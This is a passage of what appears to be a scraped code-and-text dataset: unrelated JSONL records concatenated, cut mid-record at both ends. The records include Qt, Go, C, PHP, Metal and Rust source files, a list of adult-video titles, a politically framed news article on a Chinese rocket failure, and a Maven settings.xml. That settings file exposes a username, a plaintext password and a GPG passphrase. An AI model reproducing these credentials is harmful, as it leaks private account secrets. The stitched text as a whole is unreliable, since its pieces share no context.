cr.x() - hscroll;\n return control->xToPos(x, betweenOrOn);\n }\n\n void init();\n void startCreatingCursor();\n void focusChanged(bool hasFocus);\n void updateHorizontalScroll();\n bool determineHorizontalAlignment();\n bool setHAlign(QDeclarativeTextInput::HAlignment, bool forceAlign = false);\n void mirrorChange();\n int calculateTextWidth();\n bool sendMouseEventToInputContext(QGraphicsSceneMouseEvent *event, QEvent::Type eventType);\n void updateInputMethodHints();\n\n QLineControl* control;\n\n QFont font;\n QFont sourceFont;\n QColor color;\n QColor selectionColor;\n QColor selectedTextColor;\n QDeclarativeText::TextStyle style;\n QColor styleColor;\n QDeclarativeTextInput::HAlignment hAlign;\n QDeclarativeTextInput::SelectionMode mouseSelectionMode;\n Qt::InputMethodHints inputMethodHints;\n QPointer cursorComponent;\n QPointer cursorItem;\n QPointF pressPos;\n\n int lastSelectionStart;\n int lastSelectionEnd;\n int oldHeight;\n int oldWidth;\n int hscroll;\n int oldScroll;\n bool oldValidity:1;\n bool focused:1;\n bool focusOnPress:1;\n bool showInputPanelOnFocus:1;\n bool clickCausedFocus:1;\n bool cursorVisible:1;\n bool autoScroll:1;\n bool selectByMouse:1;\n bool canPaste:1;\n bool hAlignImplicit:1;\n bool selectPressed:1;\n\n static inline QDeclarativeTextInputPrivate *get(QDeclarativeTextInput *t) {\n return t->d_func();\n }\n};\n\nQT_END_NAMESPACE\n\n#endif // QT_NO_LINEEDIT\n\n#endif\n\n"} +{"text": "// Copyright 2018, OpenCensus Authors\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n//\n\npackage stats\n\nimport (\n\t\"context\"\n\n\t\"go.opencensus.io/stats/internal\"\n\t\"go.opencensus.io/tag\"\n)\n\nfunc init() {\n\tinternal.SubscriptionReporter = func(measure string) {\n\t\tmu.Lock()\n\t\tmeasures[measure].subscribe()\n\t\tmu.Unlock()\n\t}\n}\n\n// Record records one or multiple measurements with the same tags at once.\n// If there are any tags in the context, measurements will be tagged with them.\nfunc Record(ctx context.Context, ms ...Measurement) {\n\tif len(ms) == 0 {\n\t\treturn\n\t}\n\tvar record bool\n\tfor _, m := range ms {\n\t\tif (m != Measurement{}) {\n\t\t\trecord = true\n\t\t\tbreak\n\t\t}\n\t}\n\tif !record {\n\t\treturn\n\t}\n\tif internal.DefaultRecorder != nil {\n\t\tinternal.DefaultRecorder(tag.FromContext(ctx), ms)\n\t}\n}\n"} +{"text": "{\n \"name\": \"nuclide-url-hyperclick\",\n \"main\": \"./lib/main.js\",\n \"version\": \"0.0.0\",\n \"description\": \"Uses hyperclick to open URLs in the browser\",\n \"author\": \"NEEDS OWNER\",\n \"nuclide\": {\n \"packageType\": \"AtomPackage\"\n },\n \"activationCommands\": {},\n \"providedServices\": {\n \"hyperclick\": {\n \"versions\": {\n \"0.1.0\": \"getHyperclickProvider\"\n }\n }\n }\n}\n"} +{"text": "/* LibTomCrypt, modular cryptographic library -- Tom St Denis\n *\n * LibTomCrypt is a library that provides various cryptographic\n * algorithms in a highly modular and flexible manner.\n *\n * The library is free for all purposes without any express\n * guarantee it works.\n *\n * Tom St Denis, tomstdenis@gmail.com, http://libtom.org\n */\n#include \"../../headers/tomcrypt.h\"\n\n/**\n @file der_length_ia5_string.c\n ASN.1 DER, get length of IA5 STRING, Tom St Denis\n*/\n\n#ifdef LTC_DER\n\nstatic const struct {\n int code, value;\n} ia5_table[] = {\n{ '\\0', 0 },\n{ '\\a', 7 },\n{ '\\b', 8 },\n{ '\\t', 9 },\n{ '\\n', 10 },\n{ '\\f', 12 },\n{ '\\r', 13 },\n{ ' ', 32 },\n{ '!', 33 },\n{ '\"', 34 },\n{ '#', 35 },\n{ '$', 36 },\n{ '%', 37 },\n{ '&', 38 },\n{ '\\'', 39 },\n{ '(', 40 },\n{ ')', 41 },\n{ '*', 42 },\n{ '+', 43 },\n{ ',', 44 },\n{ '-', 45 },\n{ '.', 46 },\n{ '/', 47 },\n{ '0', 48 },\n{ '1', 49 },\n{ '2', 50 },\n{ '3', 51 },\n{ '4', 52 },\n{ '5', 53 },\n{ '6', 54 },\n{ '7', 55 },\n{ '8', 56 },\n{ '9', 57 },\n{ ':', 58 },\n{ ';', 59 },\n{ '<', 60 },\n{ '=', 61 },\n{ '>', 62 },\n{ '?', 63 },\n{ '@', 64 },\n{ 'A', 65 },\n{ 'B', 66 },\n{ 'C', 67 },\n{ 'D', 68 },\n{ 'E', 69 },\n{ 'F', 70 },\n{ 'G', 71 },\n{ 'H', 72 },\n{ 'I', 73 },\n{ 'J', 74 },\n{ 'K', 75 },\n{ 'L', 76 },\n{ 'M', 77 },\n{ 'N', 78 },\n{ 'O', 79 },\n{ 'P', 80 },\n{ 'Q', 81 },\n{ 'R', 82 },\n{ 'S', 83 },\n{ 'T', 84 },\n{ 'U', 85 },\n{ 'V', 86 },\n{ 'W', 87 },\n{ 'X', 88 },\n{ 'Y', 89 },\n{ 'Z', 90 },\n{ '[', 91 },\n{ '\\\\', 92 },\n{ ']', 93 },\n{ '^', 94 },\n{ '_', 95 },\n{ '`', 96 },\n{ 'a', 97 },\n{ 'b', 98 },\n{ 'c', 99 },\n{ 'd', 100 },\n{ 'e', 101 },\n{ 'f', 102 },\n{ 'g', 103 },\n{ 'h', 104 },\n{ 'i', 105 },\n{ 'j', 106 },\n{ 'k', 107 },\n{ 'l', 108 },\n{ 'm', 109 },\n{ 'n', 110 },\n{ 'o', 111 },\n{ 'p', 112 },\n{ 'q', 113 },\n{ 'r', 114 },\n{ 's', 115 },\n{ 't', 116 },\n{ 'u', 117 },\n{ 'v', 118 },\n{ 'w', 119 },\n{ 'x', 120 },\n{ 'y', 121 },\n{ 'z', 122 },\n{ '{', 123 },\n{ '|', 124 },\n{ '}', 125 },\n{ '~', 126 }\n};\n\nint der_ia5_char_encode(int c)\n{\n int x;\n for (x = 0; x < (int)(sizeof(ia5_table)/sizeof(ia5_table[0])); x++) {\n if (ia5_table[x].code == c) {\n return ia5_table[x].value;\n }\n }\n return -1;\n}\n\nint der_ia5_value_decode(int v)\n{\n int x;\n for (x = 0; x < (int)(sizeof(ia5_table)/sizeof(ia5_table[0])); x++) {\n if (ia5_table[x].value == v) {\n return ia5_table[x].code;\n }\n }\n return -1;\n}\n\n/**\n Gets length of DER encoding of IA5 STRING\n @param octets The values you want to encode\n @param noctets The number of octets in the string to encode\n @param outlen [out] The length of the DER encoding for the given string\n @return CRYPT_OK if successful\n*/\nint der_length_ia5_string(const unsigned char *octets, unsigned long noctets, unsigned long *outlen)\n{\n unsigned long x;\n\n LTC_ARGCHK(outlen != NULL);\n LTC_ARGCHK(octets != NULL);\n\n /* scan string for validity */\n for (x = 0; x < noctets; x++) {\n if (der_ia5_char_encode(octets[x]) == -1) {\n return CRYPT_INVALID_ARG;\n }\n }\n\n if (noctets < 128) {\n /* 16 LL DD DD DD ... */\n *outlen = 2 + noctets;\n } else if (noctets < 256) {\n /* 16 81 LL DD DD DD ... */\n *outlen = 3 + noctets;\n } else if (noctets < 65536UL) {\n /* 16 82 LL LL DD DD DD ... */\n *outlen = 4 + noctets;\n } else if (noctets < 16777216UL) {\n /* 16 83 LL LL LL DD DD DD ... */\n *outlen = 5 + noctets;\n } else {\n return CRYPT_INVALID_ARG;\n }\n\n return CRYPT_OK;\n}\n\n#endif\n\n/* $Source: /cvs/libtom/libtomcrypt/src/pk/asn1/der/ia5/der_length_ia5_string.c,v $ */\n/* $Revision: 1.3 $ */\n/* $Date: 2006/12/28 01:27:24 $ */"} +{"text": "/*\n * Copyright (c) 2001, Oracle and/or its affiliates. All rights reserved.\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * This code is free software; you can redistribute it and/or modify it\n * under the terms of the GNU General Public License version 2 only, as\n * published by the Free Software Foundation.\n *\n * This code is distributed in the hope that it will be useful, but WITHOUT\n * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License\n * version 2 for more details (a copy is included in the LICENSE file that\n * accompanied this code).\n *\n * You should have received a copy of the GNU General Public License version\n * 2 along with this work; if not, write to the Free Software Foundation,\n * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n *\n * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA\n * or visit www.oracle.com if you need additional information or have any\n * questions.\n *\n */\n\npackage sun.jvm.hotspot.debugger.win32.coff;\n\n/** Models the \"sstTypes\" subsection in Visual C++ 5.0 debug\n information. This is a temporary subsection used during linking\n and is a no-op in this package. */\n\npublic interface DebugVC50SSTypes extends DebugVC50Subsection {\n}\n"} +{"text": "土田さやか最新番号\r\n【SBMO-1143】恋をするなら 土田さやか\r\n【SBMO-1139】抱きしめたい 土田さやか\r\n【SBMO-1136】恋のハレンチ 土田さやか\r\n【VRSBMO-1136】【VR】恋のハレンチ 土田さやか2017-05-31サムバディ$$$サムバディ37分钟"} +{"text": "\n\n\n \n\n \n\n \n\n \n\n"} +{"text": "collection = Bootstrap::getObjectManager()->create(\n \\Magento\\Catalog\\Model\\ResourceModel\\Product\\Collection::class\n );\n\n $this->processor = Bootstrap::getObjectManager()->create(\n \\Magento\\Catalog\\Model\\Indexer\\Product\\Price\\Processor::class\n );\n\n $this->productRepository = Bootstrap::getObjectManager()->create(\n \\Magento\\Catalog\\Api\\ProductRepositoryInterface::class\n );\n }\n\n /**\n * @magentoDataFixture Magento/Catalog/_files/products.php\n * @magentoAppIsolation enabled\n * @magentoDbIsolation disabled\n */\n public function testAddPriceDataOnSchedule()\n {\n $this->processor->getIndexer()->setScheduled(true);\n $this->assertTrue($this->processor->getIndexer()->isScheduled());\n\n $productRepository = Bootstrap::getObjectManager()\n ->create(\\Magento\\Catalog\\Api\\ProductRepositoryInterface::class);\n /** @var \\Magento\\Catalog\\Api\\Data\\ProductInterface $product */\n $product = $productRepository->get('simple');\n $this->assertEquals(10, $product->getPrice());\n $product->setPrice(15);\n $productRepository->save($product);\n $this->collection->addPriceData(0, 1);\n $this->collection->load();\n /** @var \\Magento\\Catalog\\Api\\Data\\ProductInterface[] $product */\n $items = $this->collection->getItems();\n /** @var \\Magento\\Catalog\\Api\\Data\\ProductInterface $product */\n $product = reset($items);\n $this->assertCount(2, $items);\n $this->assertEquals(10, $product->getPrice());\n\n //reindexing\n $this->processor->getIndexer()->reindexList([1]);\n\n $this->collection = Bootstrap::getObjectManager()->create(\n \\Magento\\Catalog\\Model\\ResourceModel\\Product\\Collection::class\n );\n $this->collection->addPriceData(0, 1);\n $this->collection->load();\n\n /** @var \\Magento\\Catalog\\Api\\Data\\ProductInterface[] $product */\n $items = $this->collection->getItems();\n /** @var \\Magento\\Catalog\\Api\\Data\\ProductInterface $product */\n $product = reset($items);\n $this->assertCount(2, $items);\n $this->assertEquals(15, $product->getPrice());\n\n $this->processor->getIndexer()->setScheduled(false);\n }\n\n /**\n * @magentoDataFixture Magento/Catalog/_files/products.php\n * @magentoAppIsolation enabled\n * @magentoDbIsolation disabled\n */\n public function testSetVisibility()\n {\n $appState = Bootstrap::getObjectManager()\n ->create(State::class);\n $appState->setAreaCode(Area::AREA_CRONTAB);\n $this->collection->setStoreId(Store::DEFAULT_STORE_ID);\n $this->collection->setVisibility([Visibility::VISIBILITY_BOTH]);\n $this->collection->load();\n /** @var \\Magento\\Catalog\\Api\\Data\\ProductInterface[] $product */\n $items = $this->collection->getItems();\n $this->assertCount(2, $items);\n }\n\n /**\n * @magentoDataFixture Magento/Catalog/_files/category_product.php\n * @magentoAppIsolation enabled\n * @magentoDbIsolation disabled\n */\n public function testSetCategoryWithStoreFilter()\n {\n $appState = Bootstrap::getObjectManager()\n ->create(State::class);\n $appState->setAreaCode(Area::AREA_CRONTAB);\n\n $category = \\Magento\\Framework\\App\\ObjectManager::getInstance()->get(\n \\Magento\\Catalog\\Model\\Category::class\n )->load(333);\n $this->collection->addCategoryFilter($category)->addStoreFilter(1);\n $this->collection->load();\n\n $collectionStoreFilterAfter = Bootstrap::getObjectManager()->create(\n \\Magento\\Catalog\\Model\\ResourceModel\\Product\\CollectionFactory::class\n )->create();\n $collectionStoreFilterAfter->addStoreFilter(1)->addCategoryFilter($category);\n $collectionStoreFilterAfter->load();\n $this->assertEquals($this->collection->getItems(), $collectionStoreFilterAfter->getItems());\n $this->assertCount(1, $collectionStoreFilterAfter->getItems());\n }\n\n /**\n * @magentoDataFixture Magento/Catalog/_files/categories.php\n * @magentoAppIsolation enabled\n * @magentoDbIsolation disabled\n */\n public function testSetCategoryFilter()\n {\n $appState = Bootstrap::getObjectManager()\n ->create(State::class);\n $appState->setAreaCode(Area::AREA_CRONTAB);\n\n $category = \\Magento\\Framework\\App\\ObjectManager::getInstance()->get(\n \\Magento\\Catalog\\Model\\Category::class\n )->load(3);\n $this->collection->addCategoryFilter($category);\n $this->collection->load();\n $this->assertEquals($this->collection->getSize(), 3);\n }\n\n /**\n * @magentoDataFixture Magento/Catalog/_files/products.php\n * @magentoAppIsolation enabled\n * @magentoDbIsolation disabled\n */\n public function testAddPriceDataOnSave()\n {\n $this->processor->getIndexer()->setScheduled(false);\n $this->assertFalse($this->processor->getIndexer()->isScheduled());\n $productRepository = Bootstrap::getObjectManager()\n ->create(\\Magento\\Catalog\\Api\\ProductRepositoryInterface::class);\n /** @var \\Magento\\Catalog\\Api\\Data\\ProductInterface $product */\n $product = $productRepository->get('simple');\n $this->assertNotEquals(15, $product->getPrice());\n $product->setPrice(15);\n $productRepository->save($product);\n $this->collection->addPriceData(0, 1);\n $this->collection->load();\n /** @var \\Magento\\Catalog\\Api\\Data\\ProductInterface[] $product */\n $items = $this->collection->getItems();\n /** @var \\Magento\\Catalog\\Api\\Data\\ProductInterface $product */\n $product = reset($items);\n $this->assertCount(2, $items);\n $this->assertEquals(15, $product->getPrice());\n }\n\n /**\n * @magentoDataFixture Magento/Catalog/Model/ResourceModel/_files/product_simple.php\n * @magentoDbIsolation enabled\n */\n public function testGetProductsWithTierPrice()\n {\n $product = $this->productRepository->get('simple products');\n $items = $this->collection->addIdFilter($product->getId())->addAttributeToSelect('price')\n ->load()->addTierPriceData();\n $tierPrices = $items->getFirstItem()->getTierPrices();\n $this->assertCount(3, $tierPrices);\n $this->assertEquals(50, $tierPrices[2]->getExtensionAttributes()->getPercentageValue());\n $this->assertEquals(5, $tierPrices[2]->getValue());\n }\n\n /**\n * Test addAttributeToSort() with attribute 'is_saleable' works properly on frontend.\n *\n * @dataProvider addAttributeToSortDataProvider\n * @magentoDataFixture Magento/Catalog/_files/multiple_products_with_non_saleable_product.php\n * @magentoConfigFixture current_store cataloginventory/options/show_out_of_stock 1\n * @magentoAppIsolation enabled\n * @magentoAppArea frontend\n */\n public function testAddAttributeToSort(string $productSku, string $order)\n {\n /** @var Collection $productCollection */\n $this->collection->addAttributeToSort('is_saleable', $order);\n self::assertEquals(2, $this->collection->count());\n self::assertSame($productSku, $this->collection->getFirstItem()->getSku());\n }\n\n /**\n * Provide test data for testAddAttributeToSort().\n *\n * @return array\n */\n public function addAttributeToSortDataProvider()\n {\n return [\n [\n 'product_sku' => 'simple_saleable',\n 'order' => Collection::SORT_ORDER_DESC,\n ],\n [\n 'product_sku' => 'simple_not_saleable',\n 'order' => Collection::SORT_ORDER_ASC,\n ]\n ];\n }\n\n /**\n * Checks a case if table for join specified as an array.\n *\n * @throws \\Magento\\Framework\\Exception\\LocalizedException\n */\n public function testJoinTable()\n {\n $this->collection->joinTable(\n ['alias' => 'url_rewrite'],\n 'entity_id = entity_id',\n ['request_path'],\n '{{table}}.entity_type = \\'product\\'',\n 'left'\n );\n $sql = (string) $this->collection->getSelect();\n $productTable = $this->collection->getTable('catalog_product_entity');\n $urlRewriteTable = $this->collection->getTable('url_rewrite');\n\n // phpcs:ignore Magento2.SQL.RawQuery\n $expected = 'SELECT `e`.*, `alias`.`request_path` FROM `' . $productTable . '` AS `e`'\n . ' LEFT JOIN `' . $urlRewriteTable . '` AS `alias` ON (alias.entity_id =e.entity_id)'\n . ' AND (alias.entity_type = \\'product\\')';\n\n self::assertStringContainsString($expected, str_replace(PHP_EOL, '', $sql));\n }\n\n /**\n * @magentoDataFixture Magento/Catalog/Model/ResourceModel/_files/few_simple_products.php\n * @magentoDbIsolation enabled\n */\n public function testAddAttributeToFilterAffectsGetSize(): void\n {\n $this->assertEquals(10, $this->collection->getSize());\n $this->collection->addAttributeToFilter('sku', 'Product1');\n $this->assertEquals(1, $this->collection->getSize());\n }\n\n /**\n * Add tier price attribute filter to collection with different condition types.\n *\n * @param mixed $condition\n * @magentoDataFixture Magento/Catalog/Model/ResourceModel/_files/few_simple_products.php\n * @magentoDataFixture Magento/Catalog/Model/ResourceModel/_files/product_simple.php\n *\n * @dataProvider addAttributeTierPriceToFilterDataProvider\n */\n public function testAddAttributeTierPriceToFilter($condition): void\n {\n $size = $this->collection->addAttributeToFilter('tier_price', $condition)->getSize();\n $this->assertEquals(1, $size);\n }\n\n /**\n * @return array\n */\n public function addAttributeTierPriceToFilterDataProvider(): array\n {\n return [\n 'condition is array' => [['eq' => 8]],\n 'condition is string' => ['8'],\n 'condition is int' => [8],\n 'condition is null' => [null]\n ];\n }\n\n /**\n * Add is_saleable attribute filter to collection with different condition types.\n *\n * @param mixed $condition\n * @magentoDataFixture Magento/Catalog/Model/ResourceModel/_files/product_simple.php\n *\n * @dataProvider addAttributeIsSaleableToFilterDataProvider\n */\n public function testAddAttributeIsSaleableToFilter($condition): void\n {\n $size = $this->collection->addAttributeToFilter('is_saleable', $condition)->getSize();\n $this->assertEquals(1, $size);\n }\n\n /**\n * @return array\n */\n public function addAttributeIsSaleableToFilterDataProvider(): array\n {\n return [\n 'condition is array' => [['eq' => 1]],\n 'condition is string' => ['1'],\n 'condition is int' => [1],\n 'condition is null' => [null]\n ];\n }\n}\n"} +{"text": "#include \n#include \n\nusing namespace metal;\n\nstruct UBO\n{\n float4 Data[3][5];\n};\n\nstruct main0_out\n{\n float4 gl_Position [[position]];\n};\n\nstruct main0_in\n{\n int2 aIndex [[attribute(0)]];\n};\n\nvertex main0_out main0(main0_in in [[stage_in]], constant UBO& _20 [[buffer(0)]])\n{\n main0_out out = {};\n out.gl_Position = _20.Data[in.aIndex.x][in.aIndex.y];\n return out;\n}\n\n"} +{"text": "\n\n \n \n\n \n \n \n \n \n \n \n \n \n \n \n\n"} +{"text": "### 视频:中共长征七号改中型运载火箭首发失败\n------------------------\n\n#### [首页](https://github.com/gfw-breaker/banned-news/blob/master/README.md)   |   [手把手翻墙教程](https://github.com/gfw-breaker/guides/wiki)   |   [禁闻聚合安卓版](https://github.com/gfw-breaker/bn-android)   |   [网门安卓版](https://github.com/oGate2/oGate)   |   [神州正道安卓版](https://github.com/SzzdOgate/update) \n\n\n\n
    \"中共在海南文昌发射长征七号改中型运载火箭首次飞行失败。(视频截图合成)\"\n
    \n

    \n 中共在海南文昌发射长征七号改中型运载火箭首次飞行失败。(视频截图合成)\n

    \n
    \n

    \n\n#### [翻墙必看视频(文昭、江峰、法轮功、八九六四、香港反送中...)](https://github.com/gfw-breaker/banned-news/blob/master/pages/link3.md)\n\n

    \n 【大纪元2020年03月17日讯】\n \n 武汉肺炎\n \n 疫情严重的当下,\n \n 中共\n \n 还在发射\n \n 火箭\n \n 。3月16日,\n \n 中共\n \n 在海南文昌发射\n \n 长征七号\n \n 改中型运载\n \n 火箭\n \n 首次飞行失败。但中共未公布是否有伤亡。\n

    \n

    \n 中共喉舌新华社称,3月16日21时34分,中共海南文昌航天发射场进行\n \n 长征七号\n \n 改中型运载火箭首次飞行任务。结果,火箭飞行出现异常,发射任务失败。\n

    \n

    \n

    \n

    \n 对此,网民调侃:“染上武汉病毒了,这火箭也要趴下。”\n

    \n

    \n 网民说:“天才要灭你!非常时刻怎么在这个时候发射呢!”\n

    \n

    \n 还有网民担心:“希望没有掉到民居,要不然就惨了。”另有网民称“新闻越短、数字越短,事情越大”。\n

    \n

    \n 据陆媒此前报导,这次发射的长征七号改(长征七号A),是在原有长征七号二级火箭的基础上、加上第三级,第三级火箭采用液氢液氧发动机,火箭高度也增加至60公尺。\n

    \n

    \n 近年来,中共长征火箭发射频���失败。\n

    \n

    \n 2019年12月27日晚,中共长征五号运载火箭进行第三次发射,中共官方首度公开2017年第二次发射失败的影片。长征五号先后在2016年、2017年和2019年执行发射任务,前2次均失败,第3次发射才成功。\n

    \n

    \n 2017年6月19日0时11分,中共长征三号乙运载火箭在西昌卫星发射中心发射失败。火箭三级工作异常,卫星未能进入预定轨道。\n

    \n

    \n 2016年12月28日,中共长征二号丁火箭在太原卫星发射中心发射“高景一号”01/02 卫星,结果两颗主卫星未能进入预定轨道,发射失败 ,火箭残骸坠落河南境内。#\n

    \n

    \n 责任编辑:萧律生\n

    \n
    \n
    \n手机上长按并复制下列链接或二维码分享本文章:
    \nhttps://github.com/gfw-breaker/banned-news/blob/master/pages/nsc413/n11947141.md
    \n
    \n原文地址(需翻墙访问):https://www.epochtimes.com/gb/20/3/17/n11947141.htm\n\n\n------------------------\n#### [首页](https://github.com/gfw-breaker/banned-news/blob/master/README.md)  |  [一键翻墙软件](https://github.com/gfw-breaker/nogfw/blob/master/README.md)  | [《九评共产党》](https://github.com/gfw-breaker/9ping.md/blob/master/README.md#九评之一评共产党是什么) | [《解体党文化》](https://github.com/gfw-breaker/jtdwh.md/blob/master/README.md) | [《共产主义的终极目的》](https://github.com/gfw-breaker/gczydzjmd.md/blob/master/README.md)\n\n\n"} +{"text": "\n\n\n\n\n\n \n D:\\repo\n \n\n \n\n \n \n \n \n\n \n \n \n \n\n \n \n \n\n \n\t\n\t\toss\n\t\tchenlei\n\t\tC?l1335198mvn\n\t\n \n\n \n \n \n \n\n \n \n \n\n \n \n oss\n \n true\n \n \n gpg\n C?l135198\n \n \n\n \n\n \n\n"} +{"text": "use ethabi;\nuse std::collections::HashMap;\n\nuse graph::components::ethereum::{\n EthereumBlockData, EthereumCallData, EthereumEventData, EthereumTransactionData,\n};\nuse graph::data::store;\nuse graph::prelude::anyhow::{ensure, Error};\nuse graph::prelude::serde_json;\nuse graph::prelude::web3::types as web3;\nuse graph::prelude::{BigDecimal, BigInt};\n\nuse crate::asc_abi::class::*;\nuse crate::asc_abi::{AscHeap, AscPtr, AscType, FromAscObj, ToAscObj, TryFromAscObj};\n\nuse crate::UnresolvedContractCall;\n\nimpl ToAscObj for web3::H160 {\n fn to_asc_obj(&self, heap: &mut H) -> Uint8Array {\n self.0.to_asc_obj(heap)\n }\n}\n\nimpl FromAscObj for web3::H160 {\n fn from_asc_obj(typed_array: Uint8Array, heap: &H) -> Self {\n web3::H160(<[u8; 20]>::from_asc_obj(typed_array, heap))\n }\n}\n\nimpl FromAscObj for web3::H256 {\n fn from_asc_obj(typed_array: Uint8Array, heap: &H) -> Self {\n web3::H256(<[u8; 32]>::from_asc_obj(typed_array, heap))\n }\n}\n\nimpl ToAscObj for web3::H256 {\n fn to_asc_obj(&self, heap: &mut H) -> Uint8Array {\n self.0.to_asc_obj(heap)\n }\n}\n\nimpl ToAscObj for web3::U128 {\n fn to_asc_obj(&self, heap: &mut H) -> AscBigInt {\n let mut bytes: [u8; 16] = [0; 16];\n self.to_little_endian(&mut bytes);\n bytes.to_asc_obj(heap)\n }\n}\n\nimpl ToAscObj for BigInt {\n fn to_asc_obj(&self, heap: &mut H) -> AscBigInt {\n let bytes = self.to_signed_bytes_le();\n bytes.to_asc_obj(heap)\n }\n}\n\nimpl FromAscObj for BigInt {\n fn from_asc_obj(array_buffer: AscBigInt, heap: &H) -> Self {\n let bytes = >::from_asc_obj(array_buffer, heap);\n BigInt::from_signed_bytes_le(&bytes)\n }\n}\n\nimpl ToAscObj for BigDecimal {\n fn to_asc_obj(&self, heap: &mut H) -> AscBigDecimal {\n // From the docs: \"Note that a positive exponent indicates a negative power of 10\",\n // so \"exponent\" is the opposite of what you'd expect.\n let (digits, negative_exp) = self.as_bigint_and_exponent();\n AscBigDecimal {\n exp: heap.asc_new(&BigInt::from(-negative_exp)),\n digits: heap.asc_new(&BigInt::from(digits)),\n }\n }\n}\n\nimpl TryFromAscObj for BigDecimal {\n fn try_from_asc_obj(big_decimal: AscBigDecimal, heap: &H) -> Result {\n let digits: BigInt = heap.asc_get(big_decimal.digits);\n let exp: BigInt = heap.asc_get(big_decimal.exp);\n\n let bytes = exp.to_signed_bytes_le();\n let mut byte_array = if exp >= 0.into() { [0; 8] } else { [255; 8] };\n byte_array[..bytes.len()].copy_from_slice(&bytes);\n let big_decimal = BigDecimal::new(digits, i64::from_le_bytes(byte_array));\n\n // Validate the exponent.\n let exp = -big_decimal.as_bigint_and_exponent().1;\n let min_exp: i64 = BigDecimal::MIN_EXP.into();\n let max_exp: i64 = BigDecimal::MAX_EXP.into();\n ensure!(\n min_exp <= exp && exp <= max_exp,\n format!(\n \"big decimal exponent `{}` is outside the `{}` to `{}` range\",\n exp, min_exp, max_exp\n )\n );\n Ok(big_decimal)\n }\n}\n\nimpl ToAscObj> for ethabi::Token {\n fn to_asc_obj(&self, heap: &mut H) -> AscEnum {\n use ethabi::Token::*;\n\n let kind = EthereumValueKind::get_kind(self);\n let payload = match self {\n Address(address) => heap.asc_new::(address).to_payload(),\n FixedBytes(bytes) | Bytes(bytes) => {\n heap.asc_new::(&**bytes).to_payload()\n }\n Int(uint) => {\n let n = BigInt::from_signed_u256(&uint);\n heap.asc_new(&n).to_payload()\n }\n Uint(uint) => {\n let n = BigInt::from_unsigned_u256(&uint);\n heap.asc_new(&n).to_payload()\n }\n Bool(b) => *b as u64,\n String(string) => heap.asc_new(&**string).to_payload(),\n FixedArray(tokens) | Array(tokens) => heap.asc_new(&**tokens).to_payload(),\n Tuple(tokens) => heap.asc_new(&**tokens).to_payload(),\n };\n\n AscEnum {\n kind,\n _padding: 0,\n payload: EnumPayload(payload),\n }\n }\n}\n\nimpl FromAscObj> for ethabi::Token {\n fn from_asc_obj(asc_enum: AscEnum, heap: &H) -> Self {\n use ethabi::Token;\n\n let payload = asc_enum.payload;\n match asc_enum.kind {\n EthereumValueKind::Bool => Token::Bool(bool::from(payload)),\n EthereumValueKind::Address => {\n let ptr: AscPtr = AscPtr::from(payload);\n Token::Address(heap.asc_get(ptr))\n }\n EthereumValueKind::FixedBytes => {\n let ptr: AscPtr = AscPtr::from(payload);\n Token::FixedBytes(heap.asc_get(ptr))\n }\n EthereumValueKind::Bytes => {\n let ptr: AscPtr = AscPtr::from(payload);\n Token::Bytes(heap.asc_get(ptr))\n }\n EthereumValueKind::Int => {\n let ptr: AscPtr = AscPtr::from(payload);\n let n: BigInt = heap.asc_get(ptr);\n Token::Int(n.to_signed_u256())\n }\n EthereumValueKind::Uint => {\n let ptr: AscPtr = AscPtr::from(payload);\n let n: BigInt = heap.asc_get(ptr);\n Token::Uint(n.to_unsigned_u256())\n }\n EthereumValueKind::String => {\n let ptr: AscPtr = AscPtr::from(payload);\n Token::String(heap.asc_get(ptr))\n }\n EthereumValueKind::FixedArray => {\n let ptr: AscEnumArray = AscPtr::from(payload);\n Token::FixedArray(heap.asc_get(ptr))\n }\n EthereumValueKind::Array => {\n let ptr: AscEnumArray = AscPtr::from(payload);\n Token::Array(heap.asc_get(ptr))\n }\n EthereumValueKind::Tuple => {\n let ptr: AscEnumArray = AscPtr::from(payload);\n Token::Tuple(heap.asc_get(ptr))\n }\n }\n }\n}\n\nimpl TryFromAscObj> for store::Value {\n fn try_from_asc_obj(\n asc_enum: AscEnum,\n heap: &H,\n ) -> Result {\n use self::store::Value;\n\n let payload = asc_enum.payload;\n Ok(match asc_enum.kind {\n StoreValueKind::String => {\n let ptr: AscPtr = AscPtr::from(payload);\n Value::String(heap.asc_get(ptr))\n }\n StoreValueKind::Int => Value::Int(i32::from(payload)),\n StoreValueKind::BigDecimal => {\n let ptr: AscPtr = AscPtr::from(payload);\n Value::BigDecimal(heap.try_asc_get(ptr)?)\n }\n StoreValueKind::Bool => Value::Bool(bool::from(payload)),\n StoreValueKind::Array => {\n let ptr: AscEnumArray = AscPtr::from(payload);\n Value::List(heap.try_asc_get(ptr)?)\n }\n StoreValueKind::Null => Value::Null,\n StoreValueKind::Bytes => {\n let ptr: AscPtr = AscPtr::from(payload);\n let array: Vec = heap.asc_get(ptr);\n Value::Bytes(array.as_slice().into())\n }\n StoreValueKind::BigInt => {\n let ptr: AscPtr = AscPtr::from(payload);\n let array: Vec = heap.asc_get(ptr);\n Value::BigInt(store::scalar::BigInt::from_signed_bytes_le(&array))\n }\n })\n }\n}\n\nimpl ToAscObj> for store::Value {\n fn to_asc_obj(&self, heap: &mut H) -> AscEnum {\n use self::store::Value;\n\n let payload = match self {\n Value::String(string) => heap.asc_new(string.as_str()).into(),\n Value::Int(n) => EnumPayload::from(*n),\n Value::BigDecimal(n) => heap.asc_new(n).into(),\n Value::Bool(b) => EnumPayload::from(*b),\n Value::List(array) => heap.asc_new(array.as_slice()).into(),\n Value::Null => EnumPayload(0),\n Value::Bytes(bytes) => {\n let bytes_obj: AscPtr = heap.asc_new(bytes.as_slice());\n bytes_obj.into()\n }\n Value::BigInt(big_int) => {\n let bytes_obj: AscPtr = heap.asc_new(&*big_int.to_signed_bytes_le());\n bytes_obj.into()\n }\n };\n\n AscEnum {\n kind: StoreValueKind::get_kind(self),\n _padding: 0,\n payload,\n }\n }\n}\n\nimpl 